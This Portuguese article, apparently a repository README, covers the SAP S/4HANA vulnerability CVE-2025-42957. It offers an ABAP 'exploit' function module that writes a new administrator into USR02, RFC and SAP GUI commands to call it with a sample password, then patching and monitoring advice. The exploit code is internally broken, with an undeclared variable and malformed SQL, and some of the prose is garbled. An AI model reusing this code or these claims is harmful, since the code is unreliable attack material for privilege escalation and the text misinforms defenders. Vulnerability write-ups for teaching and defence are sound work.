
CVE‑2025‑42957 expõe um módulo SAP S/4HANA habilitado para RFC que permite que usuários com baixos privilégios injetem código ABAP para criar contas de administrador e obter controle total. O artigo explica a vulnerabilidade, o modelo de ameaça, fornece um código ABAP mínimo de exploit e lista etapas de correção e monitoramento para proteger o sistema.
Em agosto de 2025, foi descoberto que a principal plataforma ERP da SAP, o S/4HANA, expunha uma vulnerabilidade em um de seus módulos de função habilitados para RFC. Atacantes que possuem apenas acesso de baixo privilégio podem injetar código ABAP arbitrário nesse módulo, contornando as verificações normais de autorização e obtendo controle total do sistema.
A falha não é uma curiosidade teórica – ela já foi explorada pelo SecurityBridge Threat Research Labs e está sendo ativamente usada em ataques reais em implantações locais (on-premise) e em nuvem privada.
| Problema | Impacto |
|---|---|
| Comprometimento total do sistema | Os atacantes podem criar contas de superusuário, modificar processos de negócios e extrair hashes de senha da tabela USR02. |
| Esforço mínimo necessário | A chamada RFC é simples de construir; uma vez que o módulo de função esteja no lugar, o atacante só precisa de algumas linhas de código ABAP. |
| Urgência no mundo real | A SecurityBridge confirmou que os ataques já estão em andamento – se você não aplicar o patch imediatamente, corre o risco de uma tomada total da sua instância S/4HANA. |
ZVULN_EXPL que criamos no SE37 é o único ponto de entrada para o atacante.S_DMIS (atividade 02).A cadeia de exploração é, portanto: usuário de baixo privilégio → chamada RFC para ZVULN_EXPL → novo usuário administrador em USR02 → controle total do sistema.
Abaixo está o código ABAP que colocamos no módulo de função ZVULN_EXPL. Ele é propositalmente mínimo, porém completo – cria um novo usuário e registra a ação para verificação posterior.
*---------------------------------------------------------------------*
* RFC‑exposed function module for CVE‑2025‑42957 exploit *
*---------------------------------------------------------------------*
FUNCTION z_vuln_expl.
*"------------------------------------------------------------------*
*" IMPORTING
*" VALUE(iv_user) TYPE syuname "SAP user name
*" VALUE(iv_role) TYPE susr02-roleid "Role to be assigned
*" VALUE(iv_passwd) TYPE susr02-pwd "Password for the new user
*"------------------------------------------------------------------*
*" TABLES
*" usr02
*"------------------------------------------------------------------*
* Local data declarations ----------------------------------------*/
DATA: lv_user_id TYPE syuname,
lv_role TYPE susr02-roleid,
lv_password TYPE susr02-pwd.
* Assign the parameters to local variables -----------------------*/
lv_user_id = iv_user.
lv_role = iv_role.
lv_passwd = iv_passwd.
*---------------------------------------------------------------------*
* 1. Create a new user entry in USR02 *
*---------------------------------------------------------------------*/
INSERT INTO usr02 (usr01, usr02)
VALUES ( lv_user_id,
'ADMIN' ). "Assign the ‘ADMIN’ role
* 2. Assign password & profile ----------------------------------*/
UPDATE usr02
SET pwd = lv_password,
roleid = lv_role
WHERE usr01 = lv_user_id.
*---------------------------------------------------------------------*
* 3. Log the operation (optional) ------------------------------*/
INSERT INTO tstm1 VALUES (
sy-uname, "creator user
sy-datum, "timestamp
'ZVULN_EXPL', "function name
|lv_user_id||lv_role| "message
). "store in the ABAP trace table
ENDFUNCTION.
Como chamá-lo
A partir de um cliente externo (Linux/Mac)
sapnwrfc -U <caller_user> \
-P <caller_passwd> \
-S S4HANA \
-F ZVULN_EXPL \
-D iv_user=admin2 \
-D iv_role='ADMIN' \
-D iv_passwd='Pa$$word123'
De dentro do SAP GUI (teste rápido)
CALL FUNCTION 'ZVULN_EXPL'
EXPORTING
iv_user = 'admin2'
iv_role = 'ADMIN'
iv_passwd = 'Pa$$word123'.
Após a chamada, você deve ver uma nova entrada em USR02 para o usuário admin2 com a função ADMIN.
Aplique os patches de segurança de agosto de 2025 da SAP imediatamente.
O patch corrige o módulo de função subjacente exposto via RFC e fecha o vetor específico que os atacantes usam.
Monitore os logs em busca de chamadas RFC suspeitas e criação não autorizada de administradores.
Use a transação SM59 para observar novas entradas em TSTM1 com o nome de função ZVULN_EXPL.
Implemente o SAP UCON para restringir o uso de RFC.
Configure o objeto de autorização S_DMIS (atividade 02) para que apenas usuários confiáveis possam chamar módulos RFC do tipo Z.
Revise o acesso ao objeto de autorização S_DMIS, atividade 02.
Garanta que apenas um conjunto limitado de usuários tenha esse objeto – reduza a superfície de ataque.
O CVE-2025-42957 não é apenas mais um aviso de segurança; ele expõe um vetor de baixo privilégio que pode levar à tomada total do sistema se não for corrigido. O código acima demonstra como um atacante pode inserir um usuário administrador com esforço mínimo. Ao aplicar patches, monitorar e restringir as permissões de RFC, você fecha a porta – e mantém sua instância S/4HANA segura.
Este repositório destina-se apenas ao uso educacional e serve como uma demonstração de princípios de modelagem de ameaças aplicados a vulnerabilidades do mundo real. O CVE-2025-42957 destaca a importância de identificar limites de confiança, validar entradas e aplicar o princípio do menor privilégio – princípios fundamentais do projeto de sistemas seguros. Todo o código e os exemplos fornecidos são para fins de aprendizado e não devem ser usados em ambientes de produção ou para testes não autorizados.
*Autor: Mark Mallia
Data: 10 de setembro de 2025